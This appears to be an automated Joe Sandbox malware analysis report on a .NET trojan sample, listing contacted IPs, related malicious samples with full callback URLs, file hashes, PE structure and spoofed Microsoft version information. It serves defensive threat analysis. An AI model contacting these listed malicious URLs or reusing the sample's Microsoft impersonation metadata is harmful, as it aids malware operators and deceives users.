                            http://www.fontbureau.com/designers/cabarga.htmlN86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpfalse
                              		high
                              http://www.founder.com.cn/cn/cThe86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpfalse
                              • URL Reputation: safe
                              • URL Reputation: safe
                              • URL Reputation: safe
                              		unknown
                              http://www.galapagosdesign.com/staff/dennis.htm86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpfalse
                              • URL Reputation: safe
                              • URL Reputation: safe
                              • URL Reputation: safe
                              		unknown
                              http://fontfabrik.com86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpfalse
                              • URL Reputation: safe
                              • URL Reputation: safe
                              • URL Reputation: safe
                              		unknown
                              http://www.founder.com.cn/cn86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpfalse
                              • URL Reputation: safe
                              • URL Reputation: safe
                              • URL Reputation: safe
                              		unknown
                              http://www.fontbureau.com/designers/frere-user.html86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpfalse
                                		high
                                http://www.fontbureau.comldva86dXpRWnFG.exe, 00000000.00000002.737090679.0000000000D17000.00000004.00000040.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                http://www.jiyu-kobo.co.jp/86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpfalse
                                • URL Reputation: safe
                                • URL Reputation: safe
                                • URL Reputation: safe
                                		unknown
                                http://www.fontbureau.como86dXpRWnFG.exe, 00000000.00000002.737090679.0000000000D17000.00000004.00000040.sdmpfalse
                                • URL Reputation: safe
                                • URL Reputation: safe
                                • URL Reputation: safe
                                		unknown
                                http://www.galapagosdesign.com/DPlease86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpfalse
                                • URL Reputation: safe
                                • URL Reputation: safe
                                • URL Reputation: safe
                                		unknown
                                http://www.fontbureau.com/designers886dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpfalse
                                  		high
                                  http://www.%s.comPAexplorer.exe, 0000000A.00000002.915184347.0000000002B50000.00000002.00000001.sdmpfalse
                                  • URL Reputation: safe
                                  • URL Reputation: safe
                                  • URL Reputation: safe
                                  		low
                                  http://www.fonts.com86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpfalse
                                    		high
                                    http://www.sandoll.co.kr86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpfalse
                                    • URL Reputation: safe
                                    • URL Reputation: safe
                                    • URL Reputation: safe
                                    		unknown
                                    http://www.urwpp.deDPlease86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpfalse
                                    • URL Reputation: safe
                                    • URL Reputation: safe
                                    • URL Reputation: safe
                                    		unknown
                                    http://www.zhongyicts.com.cn86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpfalse
                                    • URL Reputation: safe
                                    • URL Reputation: safe
                                    • URL Reputation: safe
                                    		unknown
                                    http://www.sakkal.com86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpfalse
                                    • URL Reputation: safe
                                    • URL Reputation: safe
                                    • URL Reputation: safe
                                    		unknown

                                    Contacted IPs

                                    • No. of IPs < 25%
                                    • 25% < No. of IPs < 50%
                                    • 50% < No. of IPs < 75%
                                    • 75% < No. of IPs

                                    Public

                                    IPDomainCountryFlagASNASN NameMalicious
                                    52.0.217.44
                                    		unknownUnited States
                                    		14618AMAZON-AESUStrue
                                    34.102.136.180
                                    		unknownUnited States
                                    		15169GOOGLEUStrue

                                    General Information

                                    Joe Sandbox Version:31.0.0 Red Diamond
                                    Analysis ID:320986
                                    Start date:20.11.2020
                                    Start time:08:41:33
                                    Joe Sandbox Product:CloudBasic
                                    Overall analysis duration:0h 9m 55s
                                    Hypervisor based Inspection enabled:false
                                    Report type:light
                                    Sample file name:86dXpRWnFG.exe
                                    Cookbook file name:default.jbs
                                    Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                    Number of analysed new started processes analysed:20
                                    Number of new started drivers analysed:0
                                    Number of existing processes analysed:0
                                    Number of existing drivers analysed:0
                                    Number of injected processes analysed:1
                                    Technologies:
                                    • HCA enabled
                                    • EGA enabled
                                    • HDC enabled
                                    • AMSI enabled
                                    Analysis Mode:default
                                    Analysis stop reason:Timeout
                                    Detection:MAL
                                    Classification:mal100.troj.evad.winEXE@7/1@2/2
                                    EGA Information:Failed
                                    HDC Information:
                                    • Successful, ratio: 62.4% (good quality ratio 57.9%)
                                    • Quality average: 73.6%
                                    • Quality standard deviation: 30.8%
                                    HCA Information:
                                    • Successful, ratio: 100%
                                    • Number of executed functions: 0
                                    • Number of non-executed functions: 0
                                    Cookbook Comments:
                                    • Adjust boot time
                                    • Enable AMSI
                                    • Found application associated with file extension: .exe
                                    Warnings:
                                    Show All
                                    • Exclude process from analysis (whitelisted): taskhostw.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe
                                    • Excluded IPs from analysis (whitelisted): 104.42.151.234, 104.43.139.144, 51.104.139.180, 52.155.217.156, 20.54.26.129, 2.23.155.114, 2.23.155.139, 92.123.180.139, 2.23.155.146, 2.23.155.129, 95.101.22.125, 95.101.22.134
                                    • Excluded domains from analysis (whitelisted): displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, au.download.windowsupdate.com.edgesuite.net, arc.msn.com.nsatc.net, db3p-ris-pf-prod-atm.trafficmanager.net, displaycatalog.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, ctldl.windowsupdate.com, skypedataprdcolcus16.cloudapp.net, a767.dscg3.akamai.net, a1449.dscg2.akamai.net, arc.msn.com, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, ris.api.iris.microsoft.com, umwatsonrouting.trafficmanager.net, audownload.windowsupdate.nsatc.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, skypedataprdcolwus16.cloudapp.net, au-bg-shim.trafficmanager.net
                                    • Report size getting too big, too many NtAllocateVirtualMemory calls found.

                                    Simulations

                                    Behavior and APIs

                                    No simulations

                                    Joe Sandbox View / Context

                                    IPs

                                    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                    52.0.217.44PO.exeGet hashmaliciousBrowse
                                    • www.autozulu.com/9d1o/?1bm=yh1Cc0uUOCQMs69xAVe7fqB+4EgdzUByIJWtAl51dO3VnHYCt9KyupOapeBn+sAbR0ofIfHerg==&sZRd=pBiHDjuxCVPXGhYp
                                    CN03716-20.exeGet hashmaliciousBrowse
                                    • www.lifecoachwoman.com/cmg/
                                    Order 392837413.exeGet hashmaliciousBrowse
                                    • www.comfort-dom.info/co/
                                    TRMSCD3LXXX_Identification of Customer.docGet hashmaliciousBrowse
                                    • www.realmegalodons.com/m24/?8pQleF=d+8T7QkZ6pRqmLFMETLhcjrrdg0zUbDj8SHxXvskMa/FWt6JVViWKHF7mD4BAQjer6YbKrgf4J5EohCy&7nWt=bHJPTvd06ZrLl
                                    New Order_PDF.exeGet hashmaliciousBrowse
                                    • www.fuckdanceletsart.com/bm/?gjzxn6=R3ga1T26MTVF5QsMbaBazmZS3xyR7f4P82Zh004RX3FYKLYk5paeGwcLxxNmii71gZUm6gPX9Izoo9B1y+Jx&4hkHz=M0GDHJdhPDbhdR30
                                    57Magna GMBH Offer and Machine Quotes.exeGet hashmaliciousBrowse
                                    • www.kolaci.online/v1/?RfOx=3WimH0HgzA48hatjLlUephCTN162dI6OoGyX0zSMkU4yP/3COpMADNsCMq5d5ZRMBvAC&aFNT=7n8HDXn0eBc
                                    10PO No 2050327661 - CHECK UP.exeGet hashmaliciousBrowse
                                    • www.7474.network/pr/
                                    34.102.136.180LIST OF PRODUCTS NEEDED.exeGet hashmaliciousBrowse
                                    • www.present-motherhood.com/pna/?oXN=7nbLudZHS&wP9=pAJh36KDGKuozQ+wlnL4iaUZacIoIbb12I26NWSsGNXaprJ2jX+VR1VHCYeoOV3CYcpo
                                    Order specs19.11.20.exeGet hashmaliciousBrowse
                                    • www.overstockalpine.com/nwrr/?cj=Nc1MB4yErYgRagn/HzK3hScSsYEBegMtx+kEQv9TefYD7E7OGiE02SCDOI6eM3Hv09tUJ3eV9Q==&Rxo=L6hH4NIhfjzT
                                    Okwt8fW5KH.exeGet hashmaliciousBrowse
                                    • www.mybriefbox.com/sdk/?AP=KzrxE&kzut2Pv=ieC5SQ4WTCMGwLwKeHkkTkUTO60lnbNinIRTqFa5Tgq0ajZ12E69OSpNqOiQRcX/surf
                                    Purchase Order 40,7045.exeGet hashmaliciousBrowse
                                    • www.onlineshoppingisbest.com/igqu/?YnztXrjp=cAw+48JGWTFWiF+zD75YoKcSRGv0/cbX2CyjAL3BYh15xmcIYagPiXPUr4/0BC838prH&sBZxwb=FxlXFP2PHdiD2
                                    Payment Advice - Advice Ref GLV823990339.exeGet hashmaliciousBrowse
                                    • www.brilliance-automation.com/gyo3/?Ez=XAbIWkmCD7FprhBGM/1VWQtkWKjPoo+hixDnJGBEsGUo9CkrVpkcDmC1vi0ujf808Qfd1id09g==&lhud=TjfdU2S
                                    Purchase Order 40,7045$.exeGet hashmaliciousBrowse
                                    • www.rockinglifefromhome.com/igqu/?afo=42cTP78OQQp4lToQAaTApkvzdS7tu3b97V7Z9hUZNPZ7GHRvcEVBBFWfORGuicEzVgEw0Hp6jQ==&DHU4SX=gbT8543hIhm
                                    MV.KMTC JEBEL ALI_pdf.exeGet hashmaliciousBrowse
                                    • www.mereziboutique.com/y9z/?uFQl=hX/JgwGUf2blPgyiHp8pkr0UcN4JhiEs10p3+69z9DK69Gln3SJoRK9DZHZ4ze7gp3+f&CTvp=fv10_lYhrxJtW6
                                    SWIFT_HSBC Bank.exeGet hashmaliciousBrowse
                                    • www.homewellliving.com/nt8e/?7nwltvxh=y2sdQ9Xb5ECC4UyPumlTTMs33wxYtaLvB/dO1hyuc+aLkGir7cEA1isigJn19hEFQwDS&org=3foxnfCXOnIhKD
                                    23692 ANRITSU PROBE po 29288.exeGet hashmaliciousBrowse
                                    • www.funeralfermentarium.com/9d1o/?lvH8U=Wears+I1XvB+Lmut0rGzY9wAFTAHH41k5OVIheQSGxmq0oO+QWZXKPOXziEsAnWJSQrEFn+Exw==&E6A=8pDxC4
                                    PO0119-1620 LQSB 0320 Siemens.exeGet hashmaliciousBrowse
                                    • www.guillermoastiazaran.com/sppe/?DnadT=x+bcW4Gq4Sa+8Fw3ruRe02HfSBDGbo9y1yLk6wxIyT1lxw5Q+sxUrgb1tDfRR28VG68C&DxlLi=2dmX
                                    KYC_DOC_.EXEGet hashmaliciousBrowse
                                    • www.packorganically.com/bw82/?CXrL=77CCBBr2/49gWL5yauZnKqdCED7z+VtJXat/kGRZ6Qnjpe6WQ1Ax9xdsmUB8H+4disGx&llvxw=fTAlUHeHDVNhYV
                                    PO0119-1620 LQSB 0320 Siemens.exeGet hashmaliciousBrowse
                                    • www.bullwingsgt.com/sppe/?00D=NB3Dd/vOM6aQ3m0lcddBYOe/MXAC8Z/KQ2ZGmCsq6hDofgl0Po6pPua8TNWmH6LR2TRn&w48H=qBZ83x7XYlyP0lo0
                                    ant.exeGet hashmaliciousBrowse
                                    • www.spidermenroofsupport.com/94sb/?8pMt5xHX=C9biJKOafB1QzsexO7xJmKpRIYJMQj6VpKItH4wgGF+KF++s1hKyu2EaSVFJqiHWuFvG&GzrT=Wb1LdRq8x
                                    PROOF OF PAYMENT.exeGet hashmaliciousBrowse
                                    • www.prideaffiliate.com/mua8/?w48t=0pY022IXUBwLfpfP&nflpdH=Vm4JrPClk0aQj+jhcdONVb3zc5GtcUOmsZyrOc+k5NW+jXUcqcFsSwfT9cazrXQd7qcZ
                                    DEBIT NOTE DB-1130.exeGet hashmaliciousBrowse
                                    • www.knotgardenlifestylings.com/ihm3/?sBZ4lrK=PS39z8PEw7TzfNOCiLKd1OXoS8/GfzxzB5O+ulo0NmPTjwXimFWvt/sJkvH86VVEya1bUCOS1g==&FPcT7b=djCDfFRXOP7H
                                    POSH XANADU Order-SP-20-V241e.xlsxGet hashmaliciousBrowse
                                    • www.desk-freely.com/dtn/?lb=tWjSWtdhKEbcvZcDY2Isxp7DhwPqmKrgqV2LL8a+7y46vKpMTXTGiWVbDe2Qat9zzYwG/g==&8ptdvJ=KT0pXTAPFjE0
                                    PI 11172020.xlsxGet hashmaliciousBrowse
                                    • www.yourpassionpurposepower.com/egem/?Ob20Lf_=T+Py0QdJSh8uop0xQluPGRTKd40I+j4T0iQ6z9ArmxF3ClsH1rswXmlXU/F87B5u4zxcgw==&BB6=L48xY
                                    SHIPMENT DOCUMENT.xlsxGet hashmaliciousBrowse
                                    • www.jesussavethelost.com/tlu/?ebc8=E2JdjN_822M&Kpjp=WL9elnUNGmLALDc/aT9Yvopy5IOc6bZx+8KB1+n4COxRyIg81J8N2lucSrbi65xgujJdpg==
                                    Payment copy.docGet hashmaliciousBrowse
                                    • www.bklynphotography.com/rtkc/?Lzut_=ltx8q4Ox&PBbXpL1=bE4nU21SxEXdYnFuZsah0rQhdxZ2NWbKsDNv4AQWUj+/+gwst6X3Stf0y64HfX7kmVIoow==
                                    anthony.exeGet hashmaliciousBrowse
                                    • www.stlmache.com/94sb/?EzrtzfAP=oHhCnRhAqLFON9zTJDssyW7Qcc6qw5o0Z4654po5P9rAmpqiU8ijSaSHb7UixrcmwTy4&ohrX_=SzrlPD

                                    Domains

                                    No context

                                    ASN

                                    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                    GOOGLEUShttps://kimiyasanattools.com/outlook/latest-onedrive/microsoft.phpGet hashmaliciousBrowse
                                    • 172.217.16.130
                                    b0408bca49c87f9e54bce76565bc6518.exeGet hashmaliciousBrowse
                                    • 74.125.34.46
                                    b2e3bd67d738988ca1bbed8d8b3e73fc.exeGet hashmaliciousBrowse
                                    • 74.125.34.46
                                    ad14f913dc65be569277c8c76de608a4.exeGet hashmaliciousBrowse
                                    • 74.125.34.46
                                    b2352353279664cc442f346015e86317.exeGet hashmaliciousBrowse
                                    • 74.125.34.46
                                    ab1671011f681ff09ac0ffd70fc4b92b.exeGet hashmaliciousBrowse
                                    • 74.125.34.46
                                    BetterPoints_v4.60.1_apkpure.com.apkGet hashmaliciousBrowse
                                    • 216.58.212.163
                                    b0e7416dbf03a7359e909c5bd68ae6e1.exeGet hashmaliciousBrowse
                                    • 74.125.34.46
                                    afaa3d5f10a2ea3c2813b3dd1dac8388.exeGet hashmaliciousBrowse
                                    • 74.125.34.46
                                    afbce292dbb11bda3b89b5ff8270bd20.exeGet hashmaliciousBrowse
                                    • 74.125.34.46
                                    aea80fb9d13561d7628b9d2f80a36ad0.exeGet hashmaliciousBrowse
                                    • 74.125.34.46
                                    af8eb3450867384ca855f2f0d0d6ae94.exeGet hashmaliciousBrowse
                                    • 74.125.34.46
                                    ae80b9b86323a612ce7a9c99f5cb65b4.exeGet hashmaliciousBrowse
                                    • 74.125.34.46
                                    ae85c1f45fb26bf61dc41c2a93d29b76.exeGet hashmaliciousBrowse
                                    • 74.125.34.46
                                    adf21651776b58545870cdcb1b2d955b.exeGet hashmaliciousBrowse
                                    • 74.125.34.46
                                    b2592f2f7a2eb53687b3a26249513d6e.exeGet hashmaliciousBrowse
                                    • 74.125.34.46
                                    ad167b5f4bd63100aeb68d12a0d87fae.exeGet hashmaliciousBrowse
                                    • 74.125.34.46
                                    aae68603d6527b50b950e95f13e20e08.exeGet hashmaliciousBrowse
                                    • 74.125.34.46
                                    b0e8eccdd51652d78e83b2ed7bbef86e.exeGet hashmaliciousBrowse
                                    • 74.125.34.46
                                    aef30622c1029f3049bcc7dbb81b14c9.exeGet hashmaliciousBrowse
                                    • 74.125.34.46
                                    AMAZON-AESUSano.exeGet hashmaliciousBrowse
                                    • 23.21.42.25
                                    kiiDjfpu2x.exeGet hashmaliciousBrowse
                                    • 54.225.169.28
                                    s5Hgh2z9mq.exeGet hashmaliciousBrowse
                                    • 174.129.214.20
                                    0hgHwEkIWY.exeGet hashmaliciousBrowse
                                    • 54.225.169.28
                                    CdmgSj4BO8.exeGet hashmaliciousBrowse
                                    • 54.225.169.28
                                    7PTbHgCUy6.exeGet hashmaliciousBrowse
                                    • 54.225.169.28
                                    DjP9Ogzsz8.exeGet hashmaliciousBrowse
                                    • 54.225.169.28
                                    rURZ9qp1cE.exeGet hashmaliciousBrowse
                                    • 23.21.126.66
                                    kaeHibiTa3.exeGet hashmaliciousBrowse
                                    • 23.21.252.4
                                    NYm3MN6z8D.exeGet hashmaliciousBrowse
                                    • 23.21.126.66
                                    sX1UqYq8cS.exeGet hashmaliciousBrowse
                                    • 23.21.252.4
                                    noaVP0hNm2.exeGet hashmaliciousBrowse
                                    • 23.21.126.66
                                    Swift Copy.exeGet hashmaliciousBrowse
                                    • 23.21.252.4
                                    https://smartdevappoffic.azurewebsites.net/qeBM8A4A6/WuZ2Y/FAjZdg5Nrw/@t1~RGCy/wefxc.php?bbre=d6266420d5a57cc3d73bcb5a9ec80cdeGet hashmaliciousBrowse
                                    • 52.200.37.44
                                    bossson2.exeGet hashmaliciousBrowse
                                    • 54.225.153.147
                                    https://t.e.vailresorts.com/r/?id=h1bac782d,59eb410,55e61f1&VRI_v73=96008558&cmpid=EML_OPENDAYS_RESO_000_OK_SR_REN1Y_000000_TG0001_20201118_V00_EX001_LOCA_ANN_00000_000Get hashmaliciousBrowse
                                    • 100.25.209.179
                                    REQUEST FOR QUOTATION-6container.exeGet hashmaliciousBrowse
                                    • 54.243.161.145
                                    https://app.box.com/s/mk1t9s05ty9ba7rvsdbstgc46rb4fod7Get hashmaliciousBrowse
                                    • 54.197.143.221
                                    https://go.pardot.com/e/395202/siness-insights-dashboard-html/bnmpz6/1446733421?h=AwLDfNsCVbkjEN13pzY-7AXMPolL_XMigGsJSppGaiMGet hashmaliciousBrowse
                                    • 18.232.28.189
                                    https://app.box.com/s/gdf36roak3w2fc52cgfbxuq651p0zehyGet hashmaliciousBrowse
                                    • 54.197.143.221

                                    JA3 Fingerprints

                                    No context

                                    Dropped Files

                                    No context

                                    Created / dropped Files

                                    C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\86dXpRWnFG.exe.log
                                    Process:C:\Users\user\Desktop\86dXpRWnFG.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):1119
                                    Entropy (8bit):5.356708753875314
                                    Encrypted:false
                                    SSDEEP:24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4j:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKzd
                                    MD5:3197B1D4714B56F2A6AC9E83761739AE
                                    SHA1:3B38010F0DF51C1D4D2C020138202DABB686741D
                                    SHA-256:40586572180B85042FEFED9F367B43831C5D269751D9F3940BBC29B41E18E9F6
                                    SHA-512:58EC975A53AD9B19B425F6C6843A94CC280F794D436BBF3D29D8B76CA1E8C2D8883B3E754F9D4F2C9E9387FE88825CCD9919369A5446B1AFF73EDBE07FA94D88
                                    Malicious:true
                                    Reputation:moderate, very likely benign file
                                    Preview: 1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

                                    Static File Info

                                    General

                                    File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                    Entropy (8bit):4.317508777163088
                                    TrID:
                                    • Win32 Executable (generic) Net Framework (10011505/4) 49.83%
                                    • Win32 Executable (generic) a (10002005/4) 49.78%
                                    • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
                                    • Generic Win/DOS Executable (2004/3) 0.01%
                                    • DOS Executable Generic (2002/1) 0.01%
                                    File name:86dXpRWnFG.exe
                                    File size:962560
                                    MD5:221e46c09eb3440beb5a2256211c3262
                                    SHA1:0f056342e6dffb5c4f3cdd1d7bd4ac5427175be0
                                    SHA256:6ca1b2240b6d547ada7051dc4d0c198517436943ffd7a4d1eebc0bca19ac038a
                                    SHA512:48e479701738109d705f620f40e1d264bd22dacb78de6b8c64f693ae09ed1c02a61c93f751c4d1710ecc4539493d2a2308ec0b86147d8e49b799e7d7fd28073b
                                    SSDEEP:12288:wG0EuC4WRkmWF4fX8Lp1H24SYYSY+hbsBIZG1Xc:e04W62RSPsyZF
                                    File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...G.._.............................L... ...`....@.. ....................................@................................

                                    File Icon

                                    Icon Hash:684982a2a2a28236

                                    Static PE Info

                                    General

                                    Entrypoint:0x4c4cee
                                    Entrypoint Section:.text
                                    Digitally signed:false
                                    Imagebase:0x400000
                                    Subsystem:windows gui
                                    Image File Characteristics:LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED
                                    DLL Characteristics:NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
                                    Time Stamp:0x5FB6DB47 [Thu Nov 19 20:53:27 2020 UTC]
                                    TLS Callbacks:
                                    CLR (.Net) Version:v4.0.30319
                                    OS Version Major:4
                                    OS Version Minor:0
                                    File Version Major:4
                                    File Version Minor:0
                                    Subsystem Version Major:4
                                    Subsystem Version Minor:0
                                    Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                    Entrypoint Preview

                                    Instruction
                                    jmp dword ptr [00402000h]
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al
                                    add byte ptr [eax], al

                                    Data Directories

                                    NameVirtual AddressVirtual Size Is in Section
                                    IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                    IMAGE_DIRECTORY_ENTRY_IMPORT0xc4ca00x4b.text
                                    IMAGE_DIRECTORY_ENTRY_RESOURCE0xc60000x27db4.rsrc
                                    IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                    IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                    IMAGE_DIRECTORY_ENTRY_BASERELOC0xee0000xc.reloc
                                    IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                    IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                    IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                    IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                    IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                    IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                    IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                    IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                    IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                    IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                    Sections

                                    NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                    .text0x20000xc2cf40xc2e00False0.404351998477data3.99403510178IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                                    .rsrc0xc60000x27db40x27e00False0.0947847276646data2.40140811766IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                    .reloc0xee0000xc0x200False0.044921875data0.0980041756627IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                    Resources

                                    NameRVASizeTypeLanguageCountry
                                    RT_ICON0xc61300x26c08data
                                    RT_GROUP_ICON0xecd380x14data
                                    RT_VERSION0xecd4c0x410data
                                    RT_MANIFEST0xed15c0xc55XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

                                    Imports

                                    DLLImport
                                    mscoree.dll_CorExeMain

                                    Version Infos

                                    DescriptionData
                                    Translation0x0000 0x04b0
                                    LegalCopyright Microsoft Corporation. All rights reserved.
                                    Assembly Version6.1.7601.17514
                                    InternalNameVfgwhtwrcepk2.exe
                                    FileVersion6.1.7601.17514
                                    CompanyNameMicrosoft Corporation
                                    CommentsWindows Desktop Gadgets
                                    ProductNameMicrosoft Windows Operating System
                                    ProductVersion6.1.7601.17514
                                    FileDescriptionWindows Desktop Gadgets
                                    OriginalFilenameVfgwhtwrcepk2.exe

                                    Network Behavior

                                    Snort IDS Alerts

